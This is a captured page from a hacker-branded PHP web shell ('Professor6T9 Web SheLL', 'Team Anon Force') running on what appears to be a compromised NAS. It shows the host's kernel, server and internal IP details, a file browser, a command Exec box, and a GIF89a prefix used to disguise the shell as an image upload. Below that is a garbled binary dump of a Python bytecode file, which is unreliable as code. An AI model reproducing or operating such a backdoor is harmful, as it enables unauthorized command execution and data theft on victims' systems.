GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
pkg_resources
/
_vendor
/
jaraco
/
__pycache__
[ HOME ]
Exec
Submit
context.cpython-38.pyc
U �}�he% � @ sZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl Z d dl Zd dlZd dl mZ ejdk r�d dlmZ nd dlZejddd�d d ��Zejd&ddd�d d��Zddd�dd�Zdd� Zeee�Zejdd� �Zdd� Zejejfdd��Zejddefdd��Zdd� ZG d d!� d!�ZG d"d#� d#ejej �ZG d$d%� d%ej �Z!dS )'� )�annotationsN)�Iterator)� � )�tarfilezstr | os.PathLikezIterator[str | os.PathLike])�dir�returnc c s. t �� }t �| � z | V W 5 t �|� X dS )z� >>> tmp_path = getfixture('tmp_path') >>> with pushd(tmp_path): ... assert os.getcwd() == os.fspath(tmp_path) >>> assert os.getcwd() != os.fspath(tmp_path) N)�os�getcwd�chdir)r �orig� r �K/tmp/pip-target-k_nuic9h/lib/python/pkg_resources/_vendor/jaraco/context.py�pushd s r zstr | os.PathLike | None)� target_dirr c c s~ |dkr$t j�| ��dd��dd�}t �|� z>tj� | �}t j|dd��}|j|t d� W 5 Q R X |V W 5 t�|� X dS )a� Get a tarball, extract it, yield, then clean up. >>> import urllib.request >>> url = getfixture('tarfile_served') >>> target = getfixture('tmp_path') / 'out' >>> tb = tarball(url, target_dir=target) >>> import pathlib >>> with tb as extracted: ... contents = pathlib.Path(extracted, 'contents.txt').read_text(encoding='utf-8') >>> assert not os.path.exists(extracted) Nz.tar.gz� z.tgzzr|*)�fileobj�mode)�path�filter)r r �basename�replace�mkdir�shutil�rmtree�urllib�request�urlopenr �open� extractall�strip_first_component)�urlr �req�tfr r r �tarball'